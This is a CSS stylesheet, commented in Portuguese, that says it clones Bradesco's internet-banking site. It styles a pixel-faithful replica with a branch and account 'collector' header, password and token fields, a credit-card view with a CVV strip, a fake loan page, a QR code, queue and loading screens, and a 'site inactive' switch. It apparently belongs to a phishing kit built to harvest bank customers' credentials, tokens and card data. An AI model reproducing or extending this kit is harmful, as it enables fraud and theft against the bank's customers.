/* ============================================================
   Bradesco Pessoa Física — tema "Internet Banking classic"
   Clonado de banco.bradesco/html/classic: barra magenta, barra
   de logo branca, menu lateral, herói vermelho, cards brancos.
   Mantém TODOS os seletores do tema anterior (JS intacto).
   ============================================================ */

:root {
  --magenta: #b20057;
  --magenta-dark: #97004a;
  --red: #cc0132;
  --hero-g: linear-gradient(105deg, #e8062e 0%, #c40230 45%, #7a0b3f 100%);
  --logo-red: #cc2930;
  --ink: #252525;
  --muted: #6b6b6b;
  --border: #d9d9de;
  --border-light: #ececf0;
  --bg-soft: #f6f6f8;
  font-size: 14px;
}

* { margin: 0; padding: 0; box-sizing: border-box; }
html, body { min-height: 100%; }
body {
  font-family: 'Segoe UI', Tahoma, Arial, Helvetica, sans-serif;
  color: var(--ink);
  background: #fff;
  -webkit-font-smoothing: antialiased;
}
a { color: #a30d4d; text-decoration: none; }
a:hover { text-decoration: underline; }

/* ---------- TOPO (barra magenta classic) ---------- */
.bd-topo {
  position: relative; z-index: 40;
  height: 46px;
  background: var(--magenta);
  color: #fff;
  display: flex; align-items: center; gap: 22px;
  padding: 0 56px 0 26px;
  font-size: 12.5px; font-weight: 600; letter-spacing: .2px;
}
.topo-acessar { display: inline-flex; align-items: center; gap: 8px; white-space: nowrap; }
.topo-ag { display: inline-flex; align-items: center; gap: 12px; font-weight: 500; white-space: nowrap; }
.topo-ag input {
  width: 104px; height: 25px; border: none; border-radius: 13px;
  padding: 0 12px; font-size: 12px; background: #fff; color: #333; font-family: inherit;
}
.topo-ag input:focus { outline: 2px solid rgba(255,255,255,.45); }
.topo-check { display: inline-flex; align-items: center; gap: 6px; font-weight: 500; white-space: nowrap; }
.btn-cancelar {
  background: transparent;
  border: 1px solid rgba(255,255,255,.65);
  color: #fff; font-size: 10.5px; font-weight: 700; letter-spacing: .4px;
  padding: 5px 12px; border-radius: 3px; text-decoration: none; white-space: nowrap;
}
.btn-cancelar:hover { background: rgba(255,255,255,.18); text-decoration: none; }
.topo-como, .topo-acc { font-weight: 700; font-size: 11px; letter-spacing: .4px; color: #fff; opacity: .92; white-space: nowrap; }
.topo-como:hover, .topo-acc:hover { text-decoration: none; opacity: 1; }
.btn-x {
  margin-left: auto;
  width: 26px; height: 26px; flex: 0 0 auto;
  background: transparent;
  border: 1px solid rgba(255,255,255,.55);
  color: #fff; font-size: 13px; line-height: 1;
  display: inline-flex; align-items: center; justify-content: center;
  cursor: pointer; border-radius: 3px;
}
.btn-x:hover { background: rgba(255,255,255,.22); }

/* ---------- BARRA DE LOGO (branca) ---------- */
.logo-bar {
  display: flex; align-items: center; gap: 30px;
  padding: 14px 46px;
  background: #fff;
  border-bottom: 1px solid var(--border-light);
}
.logo-bradesco img { height: 46px; width: auto; display: block; }
.logo-right { margin-left: auto; display: flex; align-items: center; gap: 34px; }
.lr-item { text-align: center; font-size: 11px; color: #555; line-height: 1.2; }
.lr-item b { display: block; font-size: 13px; color: var(--ink); letter-spacing: .3px; }
.lr-search {
  display: inline-flex; align-items: center; gap: 8px;
  background: #fff; border: 2px solid var(--logo-red);
  color: var(--magenta); font-weight: 700; font-size: 13px;
  padding: 9px 22px; border-radius: 22px;
}

/* ---------- FAIXA DA DATA ---------- */
.bd-dateline-full {
  height: 34px;
  background: linear-gradient(180deg, #fffdf8 0%, #f4f4f6 100%);
  border-bottom: 1px solid #e2e2e6;
  display: flex; align-items: center;
}
.bd-dateline-full span { padding-left: 46px; font-size: 11.5px; color: #555; }

/* ---------- BLOCO PRINCIPAL (shell classic) ---------- */
.bd-mainwrap { position: relative; width: 100%; }
.bd-logo-col { display: none; } /* logo subiu para a .logo-bar */
.bd-net-strip { display: none; }

.classic-layout { display: flex; align-items: stretch; min-height: calc(100vh - 126px); }
.classic-side {
  width: 232px; flex: 0 0 auto;
  background: #fff;
  border-right: 1px solid var(--border-light);
  padding-top: 20px;
}
.side-pill {
  margin: 0 16px 14px; padding: 12px 16px;
  border-radius: 22px; color: #fff;
  font-weight: 800; font-size: 12.5px; letter-spacing: .3px;
  display: flex; justify-content: space-between; align-items: center;
}
.side-pill.mag { background: var(--magenta); }
.side-pill.blue { background: #1c3fae; }
.side-link {
  display: flex; gap: 12px; align-items: center;
  padding: 14px 22px;
  font-size: 13.5px; color: var(--ink);
  border-bottom: 1px solid #f2f2f4;
  text-decoration: none;
}
.side-link:hover { background: #faf5f8; text-decoration: none; }
.side-ico { width: 18px; height: 18px; flex: 0 0 auto; border: 2px solid #555; border-radius: 4px; }

.classic-main {
  flex: 1; min-width: 0;
  background: var(--hero-g);
  display: flex; flex-direction: column;
  justify-content: center;
  padding: 34px 24px;
}

/* título antigo "Acesso Seguro" (substituído pelo card) */
.bd-title-block { display: none; }

/* ---------- LINHA CARD ---------- */
.bd-cardrow {
  width: 100%;
  display: flex; align-items: center; justify-content: center;
  gap: 18px;
}
.bd-card {
  background: #fff;
  border-radius: 12px;
  box-shadow: 0 14px 44px rgba(0,0,0,.30);
  padding: 30px 32px;
  max-width: 470px; width: 100%;
}

/* banner de segurança (oculto no tema classic — o menu lateral assume o espaço) */
.bd-banner-seg { display: none; }

/* passo */
.bd-passo-row { display: flex; align-items: center; margin-bottom: 18px; }
.bd-passo {
  width: 18px; height: 18px; flex: 0 0 auto;
  background: var(--red); color: #fff; font-weight: 700; font-size: 11.5px;
  display: flex; align-items: center; justify-content: center; border-radius: 4px;
}
.bd-passo-row .passo-txt { color: var(--red); font-weight: 800; font-size: 14px; margin-left: 10px; }

/* formulário login (estilo moderno, campos pilulo) */
.bd-formbox { background: transparent; width: auto; margin: 0; padding: 0; }
.bd-field { display: flex; flex-direction: column; align-items: stretch; margin-bottom: 16px; }
.bd-field label { font-size: 12.5px; font-weight: 700; color: #444; margin-bottom: 6px; }
.bd-field input[type=text],
.bd-field input[type=password],
.bd-field input[type=email],
.bd-field input[type=tel] {
  width: 100%; height: 48px;
  padding: 0 18px;
  border: 1.5px solid var(--border);
  border-radius: 24px;
  font-size: 15px; font-family: inherit;
  background: #fff; color: #222;
  outline: none;
}
.bd-field input:focus { border-color: var(--magenta); }
.bd-field .input-wrap { position: relative; width: 100%; }
.bd-field .toggle-pass {
  position: absolute; right: 16px; top: 50%; transform: translateY(-50%);
  cursor: pointer; color: #999; font-size: 14px; user-select: none;
}
.bd-formbox .link-linha { display: block; text-align: center; font-size: 12.5px; margin: 2px 0 14px; }
.bd-formbox .link-linha:hover { color: var(--red); }

.bd-check {
  display: flex; align-items: center; gap: 7px;
  font-size: 12px; color: #444; cursor: pointer;
}
.bd-check input { accent-color: var(--magenta); }

/* erros */
.bd-erro {
  background: #FFF3CB; border: 1px dashed var(--red); color: var(--red);
  font-weight: 700; font-size: 12px;
  padding: 7px 10px; border-radius: 4px;
  margin-bottom: 12px; display: none;
}

/* botões login */
.bd-btnrow { display: flex; justify-content: center; gap: 12px; margin-top: 6px; }
.btn-secondary, .btn-primary {
  height: 46px; line-height: 46px;
  padding: 0 22px;
  border-radius: 23px;
  font-family: inherit; font-size: 13.5px;
  cursor: pointer;
  display: inline-flex; align-items: center; justify-content: center; gap: 6px;
}
.btn-secondary { background: #fff; border: 1.5px solid #bdbdc4; color: #444; font-weight: 700; }
.btn-secondary:hover { background: #f4f4f6; }
.btn-primary { background: var(--magenta); border: none; color: #fff; font-weight: 800; letter-spacing: .4px; min-width: 150px; }
.btn-primary:hover { background: var(--magenta-dark); }
.btn-primary:disabled { opacity: .5; cursor: default; }

.bd-primeiro-acesso { margin-top: 16px; font-size: 12px; color: #777; text-align: center; line-height: 1.5; }
.bd-primeiro-acesso b { color: var(--red); }

/* aside de golpes (oculto — menu lateral é o novo elemento de contexto) */
.bd-golpes { display: none; }

/* ---------- RODAPÉ ---------- */
.bd-footer {
  width: 100%; min-height: 66px;
  background: #fff;
  border-top: 1px solid var(--border-light);
  display: flex; align-items: center;
  padding: 10px 8px 10px 40px;
}
.bd-footer .logo-f { width: 220px; flex: 0 0 auto; display: flex; align-items: center; }
.bd-footer .logo-f svg { height: 28px; width: auto; }
.bd-footer .logo-f img { height: 28px; width: auto; display: block; }
.bd-footer-phones { flex: 1; display: flex; min-width: 0; }
.bd-footer-phones > div {
  flex: 1; min-width: 0;
  border-left: 1px solid var(--border-light);
  padding-left: 16px;
  display: flex; flex-direction: column; gap: 3px;
}
.bd-footer-phones .lbl { font-size: 10.5px; font-weight: 700; color: #333; line-height: 1.25; }
.bd-footer-phones .num { font-size: 12px; font-weight: 700; color: #666; }

/* ---------- SPLASH / OVERLAYS ---------- */
.overlay-full {
  position: fixed; inset: 0; z-index: 4000;
  background: #fff;
  display: none;
  align-items: center; justify-content: center;
  flex-direction: column;
  padding: 20px;
}
.overlay-full.active { display: flex; }

.spinner-br {
  width: 46px; height: 46px;
  border: 4px solid #eee;
  border-top-color: var(--magenta);
  border-radius: 50%;
  animation: bdspin 0.9s linear infinite;
  margin-bottom: 20px;
}
@keyframes bdspin { to { transform: rotate(360deg); } }

.overlay-msg { font-size: 16px; font-weight: 600; color: #444; text-align: center; max-width: 380px; line-height: 1.5; }
.overlay-sub { font-size: 12.5px; color: #888; margin-top: 8px; text-align: center; }

.atencao-icon {
  width: 62px; height: 62px; border-radius: 50%;
  background: #FFF3CB; border: 2px solid #f5c518;
  color: #e0a800; font-size: 34px; font-weight: 700;
  display: flex; align-items: center; justify-content: center;
  margin-bottom: 16px;
}
.atencao-title { font-size: 21px; font-weight: 800; color: #333; margin-bottom: 10px; }
.atencao-desc { font-size: 14px; color: #666; line-height: 1.6; margin-bottom: 24px; text-align: center; max-width: 400px; }
.atencao-desc b { color: var(--red); }
.btn-atencao {
  background: var(--magenta); color: #fff; border: none;
  font-family: inherit; font-size: 14px; font-weight: 800;
  padding: 13px 48px; border-radius: 24px; cursor: pointer;
}
.btn-atencao:hover { background: var(--magenta-dark); }

/* ---------- TELAS DE ETAPA (acesso/telefone/códigos...) ---------- */
.stage-page .bd-mainwrap { min-height: calc(100vh - 126px); display: flex; flex-direction: column; }
.stage-body {
  flex: 1; width: 100%;
  display: flex; align-items: center; justify-content: center;
  padding: 30px 16px;
}
.stage-card {
  width: 100%; max-width: 460px;
  background: #fff;
  box-shadow: 0 14px 44px rgba(0,0,0,.30);
  border-radius: 12px;
  padding: 32px 36px 28px;
  text-align: center;
}
.stage-card .stage-logo img, .stage-card .stage-logo svg { height: 48px; margin-bottom: 14px; }
.stage-card h1 { font-size: 20px; color: var(--ink); line-height: 1.35; margin-bottom: 6px; font-weight: 800; }
.stage-card .stage-sub { font-size: 13px; color: #777; margin-bottom: 20px; line-height: 1.5; }

.stage-input {
  width: 100%;
  height: 54px;
  padding: 0 14px;
  border: 1.5px solid var(--border);
  border-radius: 27px;
  font-size: 20px;
  text-align: center;
  letter-spacing: 1px;
  font-family: 'Courier New', monospace;
  outline: none;
  margin-bottom: 6px;
}
.stage-input:focus { border-color: var(--magenta); }
.stage-input::placeholder { color: #b9c0c9; letter-spacing: 0; font-size: 15px; }

.stage-grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; }
.stage-input-sm {
  width: 100%; padding: 12px 10px;
  border: 1.5px solid var(--border); border-radius: 12px;
  font-size: 15px; font-family: inherit; outline: none;
  text-align: center;
  background: #fff; color: #222;
}
.stage-input-sm:focus { border-color: var(--magenta); }

.stage-erro {
  background: #FFF3CB; border: 1px dashed var(--red); color: var(--red);
  font-size: 12.5px; font-weight: 700; padding: 8px 10px;
  border-radius: 6px; margin-bottom: 12px; display: none;
}

.stage-btn {
  width: 100%; margin-top: 16px;
  background: #e3e3e8; color: #fff;
  border: none; border-radius: 27px;
  font-family: inherit; font-size: 15px; font-weight: 800;
  padding: 14px; cursor: not-allowed;
  transition: background .2s;
}
.stage-btn.ready { background: var(--magenta); cursor: pointer; }
.stage-btn.ready:hover { background: var(--magenta-dark); }

.stage-version { margin-top: 14px; font-size: 10.5px; color: #aab; }

/* tela de loading (estágio) */
.loading-screen {
  position: fixed; inset: 0; z-index: 3200;
  background: linear-gradient(180deg, #fff 0%, #f2f5f8 100%);
  display: none;
  align-items: center; justify-content: center; flex-direction: column;
  text-align: center; padding: 20px;
}
.loading-screen .loading-gif {
  width: 62px; height: 62px;
  border: 5px solid #ececec; border-top-color: var(--magenta);
  border-radius: 50%;
  animation: bdspin 0.9s linear infinite;
  margin-bottom: 22px;
}
.loading-screen .loading-message { font-size: 17px; font-weight: 800; color: var(--ink); line-height: 1.4; }
.loading-screen .loading-submessage { font-size: 12.5px; color: #8a93a0; margin-top: 8px; }

.result-card {
  background: #fff; border: 1px solid var(--border-light);
  border-radius: 12px; box-shadow: 0 10px 30px rgba(0,0,0,.12);
  padding: 24px; width: 100%; max-width: 400px; text-align: center;
  display: none;
}
.result-card h2 { font-size: 17px; color: var(--ink); margin-bottom: 4px; font-weight: 800; }
.result-card .rc-sub { font-size: 12.5px; color: #889; margin-bottom: 14px; }
.result-card .rc-label {
  font-size: 10.5px; text-transform: uppercase; letter-spacing: .5px;
  color: #888; font-weight: 700; margin-bottom: 6px;
}
.result-card .rc-value {
  font-size: 14px; font-weight: 800; color: var(--red);
  background: #fafafa; border: 1px solid #eee; border-radius: 8px;
  padding: 14px; line-height: 1.4; word-break: break-word;
}

/* ---------- CARTÃO DE CRÉDITO (emprestimo.php) ---------- */
.credit-card-scene { perspective: 1000px; margin: 6px auto 20px; width: 300px; }
.credit-card {
  position: relative; width: 300px; height: 180px;
  transform-style: preserve-3d; transition: transform .7s;
}
.credit-card.flipped { transform: rotateY(180deg); }
.cc-face {
  position: absolute; inset: 0;
  border-radius: 14px;
  backface-visibility: hidden;
  overflow: hidden;
  box-shadow: 0 10px 26px rgba(0,0,0,.25);
}
.cc-front {
  background:
    radial-gradient(120% 140% at 85% -10%, rgba(255,255,255,.16) 0%, rgba(255,255,255,0) 45%),
    linear-gradient(135deg, #7d1440 0%, #41418F 55%, #153265 100%);
  color: #fff;
  padding: 16px 18px;
  display: flex; flex-direction: column; justify-content: space-between;
}
.cc-front .cc-brand { font-size: 15px; font-weight: 800; font-style: italic; display: flex; justify-content: space-between; align-items: center; }
.cc-front .cc-brand .chip {
  width: 38px; height: 27px; border-radius: 5px;
  background: linear-gradient(135deg,#f4d58d,#caa64a);
  position: relative;
}
.cc-number-display { font-size: 17px; letter-spacing: 2px; font-family: 'Courier New', monospace; }
.cc-holder-row { display: flex; justify-content: space-between; align-items: flex-end; }
.cc-holder-display {
  font-size: 9.5px; text-transform: uppercase; letter-spacing: .5px;
  max-width: 190px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
  opacity: .92;
}
.cc-expiry-display { font-size: 13px; font-family: 'Courier New', monospace; }
.cc-back {
  transform: rotateY(180deg);
  background: linear-gradient(135deg, #153265 0%, #41418F 100%);
  color: #fff; padding: 16px 18px;
}
.cc-mag { position: absolute; top: 26px; left: 0; right: 0; height: 38px; background: #10131a; }
.cc-cvv-strip {
  margin-top: 74px; background: #fff; color: #222;
  font-family: 'Courier New', monospace; font-size: 14px;
  padding: 6px 10px; border-radius: 4px; width: 84px; text-align: center;
}
.cc-back .cc-brand-note { position: absolute; bottom: 12px; left: 18px; font-size: 10px; opacity: .75; font-style: italic; }

/* ---------- QR CODE ---------- */
.qrcode-box {
  background: #fff; border: 1px solid var(--border-light);
  border-radius: 12px; padding: 20px; margin: 6px auto 14px;
  width: 320px; text-align: center;
  box-shadow: 0 4px 15px rgba(0,0,0,.12);
}
.qrcode-box img { max-width: 100%; border-radius: 12px; }
.qr-loading {
  display: flex; flex-direction: column; align-items: center; gap: 12px;
  color: #889; font-size: 12.5px; padding: 30px 0;
}
.qr-loading .spinner-br { width: 34px; height: 34px; border-width: 3px; margin: 0; }

/* ---------- LOADING LONGO (loading.php) ---------- */
.progress-outer {
  width: 100%; max-width: 520px; height: 8px;
  background: #e8ecf1; border-radius: 6px; overflow: hidden; margin-top: 22px;
}
.progress-inner {
  height: 100%; width: 0%;
  background: linear-gradient(90deg, var(--magenta) 0%, var(--red) 50%, #7a0b3f 100%);
  border-radius: 6px; transition: width 1s linear;
}

/* ---------- FIM / SUCESSO ---------- */
.success-check {
  width: 74px; height: 74px; border-radius: 50%;
  background: #e8f6ec; border: 2px solid #34a853;
  color: #34a853; font-size: 40px;
  display: flex; align-items: center; justify-content: center;
  margin: 0 auto 16px;
}
.loan-details {
  background: #fafafa; border: 1px solid #eee; border-radius: 8px;
  padding: 16px 18px; margin: 18px 0; text-align: left;
}
.loan-details h3 { font-size: 13px; color: var(--ink); margin-bottom: 12px; text-transform: uppercase; letter-spacing: .4px; }
.detail-item { display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px solid #eee; font-size: 13px; }
.detail-item:last-child { border-bottom: none; }
.detail-label { color: #778; }
.detail-value { font-weight: 800; color: var(--ink); }

/* ---------- FILA DE ACESSO ---------- */
.fila-wrap {
  width: 100%;
  display: flex; align-items: center; justify-content: center;
  padding: 20px;
}
.fila-card {
  background: #fff;
  box-shadow: 0 10px 34px rgba(0,0,0,.28);
  border-radius: 12px; text-align: center;
  padding: 40px 34px; max-width: 400px; width: 100%;
}
.fila-card .bd-logo-svg, .fila-card .stage-logo img { height: 44px; margin-bottom: 10px; }
.fila-card h1 { font-size: 19px; color: var(--magenta); font-weight: 800; margin: 14px 0 8px; }
.fila-card p { font-size: 13px; color: #778; line-height: 1.6; margin-bottom: 20px; }
.fila-progress { width: 100%; height: 6px; background: #eef1f4; border-radius: 6px; overflow: hidden; }
.fila-progress i {
  display: block; height: 100%; width: 0;
  background: linear-gradient(90deg, var(--magenta), var(--red));
  animation: filafill 2s ease-in-out forwards;
}
@keyframes filafill { to { width: 100%; } }

/* ---------- SITE INATIVO ---------- */
.inativo-msg { max-width: 420px; text-align: center; }
.inativo-msg h1 { font-size: 18px; color: #333; margin-bottom: 10px; }
.inativo-msg p { font-size: 13px; color: #778; line-height: 1.6; }

/* ============================================================
   RESPONSIVO
   ============================================================ */
@media (max-width: 1080px) {
  .classic-side { display: none; }
  .logo-bar { padding: 12px 24px; }
  .logo-right { gap: 20px; }
}
@media (max-width: 760px) {
  .bd-topo { gap: 12px; padding: 0 12px; overflow: hidden; }
  .topo-ag, .topo-check, .topo-como { display: none; }
  .topo-acc { display: none; }
  .topo-acessar { font-size: 12px; white-space: nowrap; }
  .btn-cancelar { font-size: 9.5px; padding: 4px 8px; margin-left: auto; white-space: nowrap; }
  .logo-bar { gap: 16px; }
  .logo-bradesco img { height: 38px; }
  .lr-item { display: none; }
  .bd-dateline-full span { padding-left: 20px; font-size: 10.5px; }
  .classic-main { padding: 24px 14px; }
  .bd-card { padding: 24px 20px; }
  .stage-card { padding: 26px 20px 22px; }
  .stage-grid-2 { grid-template-columns: 1fr; }
  .credit-card-scene { transform: scale(.92); margin: -8px -12px 10px; }
  .bd-footer { flex-wrap: wrap; padding: 10px 12px; }
  .bd-footer .logo-f { width: 160px; }
  .bd-footer-phones { flex-wrap: wrap; }
  .bd-footer-phones > div { flex: 0 0 46%; padding: 6px 10px 6px 12px; }
}

/* ===== FILA DE ESPERA (cliente autenticado) ===== */
.fila-status { display: flex; flex-direction: column; align-items: center; text-align: center; padding: 12px 0 6px; }
.fila-sp { margin-bottom: 22px; }
.fila-title { color: var(--magenta); font-size: 20px; font-weight: 800; margin-bottom: 10px; }
.fila-msg { color: #374151; font-size: 13.5px; line-height: 1.6; margin-bottom: 22px; }
.protocol-box {
  background: #faf5f8; border: 1px dashed var(--magenta); border-radius: 10px;
  padding: 14px 30px; margin-bottom: 18px;
  display: flex; flex-direction: column; gap: 4px;
}
.protocol-label { color: #6b7280; font-size: 12px; letter-spacing: .4px; text-transform: uppercase; }
.protocol-value { color: var(--magenta); font-family: 'Courier New', monospace; font-size: 28px; font-weight: 700; letter-spacing: 3px; }
.empresa-box { border-top: 1px solid #E5E5E5; padding-top: 14px; width: 100%; display: flex; flex-direction: column; gap: 3px; }
.empresa-label { color: #6b7280; font-size: 12px; }
.empresa-nome { color: var(--ink); font-size: 14px; font-weight: 800; }
.empresa-cnpj { color: #6b7280; font-size: 12px; }
@media (max-width: 640px) {
  .protocol-value { font-size: 22px; letter-spacing: 2px; }
  .fila-title { font-size: 18px; }
}

/* ============================================================
   HOME CLASSIC (réplica pixel-fiel) — 1ª tela de acesso
   Imagem assada do print + barra interativa + botões de cookie
   ============================================================ */
body.home-page { background: #fff; }
.home-stage { position: relative; width: 100%; max-width: 1280px; margin: 0 auto; overflow: hidden; background: #fff; }

.home-stage .t1bar { height: 48px; display: flex; align-items: center; gap: 10px; padding: 0 14px 0 18px;
           background: linear-gradient(90deg,#cc092f 0%,#c40f50 55%,#b81570 100%); color: #fff; user-select: none; }
.home-stage .t1bar .lock { display: flex; align-items: center; }
.home-stage .t1bar .lock svg { width: 13px; height: 16px; }
.home-stage .t1bar .acessar { font-size: 11.5px; font-weight: 800; letter-spacing: .4px; margin-left: 2px; }
.home-stage .t1bar .sep { width: 1px; height: 20px; background: rgba(255,255,255,.55); margin: 0 2px; }
.home-stage .t1bar label.ag { font-size: 12.5px; font-weight: 700; display: flex; align-items: center; gap: 7px; white-space: nowrap; cursor: default; }
.home-stage .t1bar input { border: none; border-radius: 13px; height: 25px; background: #fff; color: #333;
                 font-size: 12px; padding: 0 10px; outline: none; font-family: inherit; }
.home-stage .t1bar #inpAg { width: 58px; }
.home-stage .t1bar #inpCt { width: 106px; }
.home-stage .t1bar .dot { width: 17px; height: 17px; border-radius: 50%; background: #fff; flex: none; }
.home-stage .t1bar #btnOk { height: 27px; padding: 0 15px; border: none; border-radius: 7px; background: #47081a;
                  color: #fff; font-weight: 800; font-size: 13px; cursor: pointer; font-family: inherit; }
.home-stage .t1bar #btnOk:hover { filter: brightness(1.25); }
.home-stage .t1bar .lembrar { display: flex; align-items: center; gap: 6px; font-size: 12px; cursor: pointer; white-space: nowrap; }
.home-stage .t1bar .chk { width: 15px; height: 15px; border-radius: 3px; background: #fff; color: #c81052; font-size: 11px;
                font-weight: 900; display: flex; align-items: center; justify-content: center; line-height: 1; }
.home-stage .t1bar .comousar { display: flex; align-items: center; gap: 6px; font-size: 12px; font-weight: 800; letter-spacing: .3px; cursor: pointer; color: #fff; text-decoration: none; }
.home-stage .t1bar .arrowc { width: 16px; height: 16px; border: 1.6px solid #fff; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 11px; font-weight: 900; }
.home-stage .t1bar .spacer { flex: 1; }
.home-stage .t1bar .acess { font-size: 10px; font-weight: 700; letter-spacing: .6px; cursor: pointer; color: #fff; text-decoration: none; }
.home-stage .t1bar .accicon { width: 24px; height: 24px; border: 1.6px solid #fff; border-radius: 50%; display: flex; align-items: center; justify-content: center; }
.home-viewport { position: relative; width: 100%; container-type: inline-size; }
.home-stage .t1img { display: block; width: 100%; max-width: 1280px; margin: 0; border: 0; }
.t1row { display: contents; }
.home-stage .t1bar label.ag-dig { display: flex; } /* dígito visível no desktop (fluxo AGENCIA-CONTA-DIGITO) */
.home-stage .t1img-mob { display: none; }
.home-stage .ck-mob { display: none; }

/* botões sobre a seção escura assada (posições medidas na referência, absolutos p/ .home-stage) */
.home-stage .ck-aceitar { position: absolute; left: 59.219%; top: 83.631%; width: 15.625%; height: 7.143%; background: #e1173f;
                color: #fff; font-weight: 800; font-size: 15.5px; font-size: 1.2109cqw; line-height: 1; border: none; border-radius: 24px; border-radius: 1.875cqw; cursor: pointer; font-family: inherit; z-index: 3; }
.home-stage .ck-ghost { position: absolute; top: 91.071%; height: 6.696%; background: transparent; color: #fff;
              font-weight: 800; font-size: 15px; font-size: 1.1719cqw; line-height: 1; border: 2px solid rgba(255,255,255,.92); border: 0.156cqw solid rgba(255,255,255,.92); border-radius: 22px; border-radius: 1.7188cqw; cursor: pointer; font-family: inherit; z-index: 3; }
.home-stage #ckRej { left: 45.234%; width: 25.234%; }
.home-stage #ckCfg { left: 71.25%; width: 17.656%; }
.home-viewport #ckBtns { position: absolute; inset: 0; pointer-events: none; }
.home-viewport #ckBtns button { pointer-events: auto; }

/* ============================================================
   TELA 2 — POSIDENTIFICAÇÃO (réplica, viewport 1438x675)
   ============================================================ */
body.t2-page { background: #f0f1f5; }
.t2root { position: relative; width: 1438px; min-height: 675px; margin: 0 auto; background: #f0f1f5; }
.t2head { position: relative; height: 88px; color: #fff;
          background: linear-gradient(90deg,#ce3344 0%,#c63252 42%,#b73069 66%,#792a9f 100%); }
.t2head img { position: absolute; left: 233px; top: 25px; width: 163px; height: 41px; }
.t2head .data { position: absolute; left: 398px; top: 47px; font-size: 12px; font-weight: 600; letter-spacing: .4px; }
.t2head .cancel { position: absolute; right: 290px; top: 46px; font-size: 13px; font-weight: 600; cursor: pointer; opacity: .97; color: #fff; text-decoration: none; }
.t2wrap { width: 690px; margin: 84px auto 0; min-height: 503px; display: flex; gap: 14px; align-items: stretch; }
.t2card { width: 419px; flex: none; background: #fff; padding: 30px 46px 12px; }
.t2card h1 { font-size: 35px; font-weight: 800; color: #17202e; line-height: 1.15; }
.t2card .sub { margin-top: 10px; font-size: 14.5px; color: #5c6572; }
.t2card .sub b { color: #17202e; font-weight: 700; }
.t2tabs { position: relative; margin-top: 24px; display: flex; gap: 44px; }
.t2tabs span { font-size: 16.5px; padding-bottom: 14px; cursor: pointer; }
.t2tabs .tab-on { font-weight: 800; color: #10151c; }
.t2tabs .tab-off { font-weight: 600; color: #8a919c; }
.t2tabs .under { position: absolute; left: 0; bottom: 0; width: 200px; height: 3px; background: #ea354b; }
.t2card p.info { margin-top: 18px; font-size: 15px; color: #333c49; line-height: 1.45; }
.t2card p.info b { font-weight: 700; color: #17202e; }
.t2dev { display: flex; align-items: center; gap: 20px; margin-top: 16px; }
.t2dev .reflbl { font-size: 12.5px; color: #6a7280; }
.t2dev .refnum { font-size: 15.5px; font-weight: 700; color: #141b26; margin-top: 6px; }
.t2card input.token { width: 100%; margin-top: 18px; height: 44px; border: none; border-bottom: 2px solid #c9cdd4;
                      font-size: 17px; letter-spacing: 3px; outline: none; font-family: inherit; background: transparent; }
.t2card input.token:focus { border-bottom-color: #10151c; }
.t2card .avancar { display: block; margin: 24px auto 0; width: max-content; background: #cdcdcd; color: #fff;
                   font-weight: 700; font-size: 15px; padding: 15px 36px; border-radius: 999px; border: none;
                   cursor: not-allowed; font-family: inherit; transition: background .15s; }
.t2card .avancar.on { background: #ea354b; cursor: pointer; }
.t2mimos { width: 257px; flex: none; background: #ba293c; position: relative; overflow: hidden;
           display: flex; flex-direction: column; padding: 34px 26px 26px; }
.t2mimos h2 { color: #fff; font-size: 29px; font-weight: 800; line-height: 1.18; }
.t2mimos p { color: rgba(255,255,255,.95); font-size: 20.5px; font-weight: 500; margin-top: 14px; line-height: 1.3; }
.t2mimos .qr { margin-top: auto; align-self: center; }
.t2mimos .qr img { display: block; width: 118px; }
.t2mimos svg.deco { position: absolute; stroke: #fff; stroke-width: 2; opacity: .9; }
.t2page-pane { display: none; }
.pane { display: none; }
.pane.on { display: block; }
.senha-box input { width: 100%; margin-top: 30px; height: 46px; border: none; border-bottom: 2px solid #c9cdd4;
                   font-size: 17px; letter-spacing: 3px; outline: none; font-family: inherit; background: transparent; }

/* ============================================================
   MOBILE / TABLET — home classic + tela 2 (desktop intocado ≥761/≥1200)
   ============================================================ */
@media (max-width: 1080px) {
  .home-stage .t1bar .comousar, .home-stage .t1bar .spacer,
  .home-stage .t1bar .acess, .home-stage .t1bar .accicon { display: none; }
}
@media (max-width: 760px) {
  /* cabeçalho coletor em 3 linhas: título / agência+conta+dígito / OK full-width */
  .home-stage .t1bar { flex-direction: column; align-items: stretch; flex-wrap: nowrap; height: auto; min-height: 0;
                       padding: 10px 12px 12px; gap: 10px; row-gap: 0; justify-content: flex-start; }
  .home-stage .t1bar .sep, .home-stage .t1bar .dot, .home-stage .t1bar .lembrar { display: none; }
  .home-stage .t1bar .t1row { display: flex; }
  .home-stage .t1bar .t1row-title { align-items: center; gap: 8px; }
  .home-stage .t1bar .t1row-title .lock svg { width: 14px; height: 17px; }
  .home-stage .t1bar .t1row-title .acessar { font-size: 13px; white-space: nowrap; }
  .home-stage .t1bar .t1row-fields { gap: 8px; }
  .home-stage .t1bar .t1row-fields .f { display: flex; flex-direction: column; gap: 4px; font-size: 11px; font-weight: 700; min-width: 0; flex: 0 1 auto; }
  .home-stage .t1bar .t1row-fields .f-ct { flex: 1 1 0; }
  .home-stage .t1bar .t1row-fields input { width: 100%; height: 38px; border-radius: 8px; font-size: 15px; padding: 0 10px; flex: none; min-width: 0; }
  .home-stage .t1bar .t1row-fields #inpAg { width: 64px; }
  .home-stage .t1bar .t1row-fields #inpDig { width: 56px; }
  .home-stage .t1bar #btnOk { width: 100%; height: 46px; padding: 0; border-radius: 9px; font-size: 16px; }
  /* pagina inteira preenche o viewport: replica (sem a faixa de cookies) + bloco de cookies em HTML */
  .home-stage { display: flex; flex-direction: column; min-height: 100vh; min-height: 100svh; }
  .home-stage .t1img { display: none; }
  .home-stage .t1img-mob { display: block; }
  .home-viewport #ckBtns { display: none; }
  .home-stage .ck-mob { display: flex; flex-direction: column; flex: 1 1 auto; justify-content: center; background: #2f2f2f; padding: 24px 16px 30px; }
  .ck-mob p { color: rgba(255,255,255,.92); font-size: 12.5px; line-height: 1.55; }
  .ck-mob u { text-decoration: underline; }
  .ck-mob button { width: 100%; height: 46px; border-radius: 23px; font-family: inherit; cursor: pointer; margin-top: 12px; }
  .ck-mob #mkAce { background: #e1173f; border: none; color: #fff; font-weight: 800; font-size: 15px; }
  .ck-mob #mkRej, .ck-mob #mkCfg { background: transparent; border: 2px solid rgba(255,255,255,.92); color: #fff; font-weight: 800; font-size: 14px; }
  .ck-mob.hidden { display: none !important; }
}

/* tela 2: header fluido até 1199 */
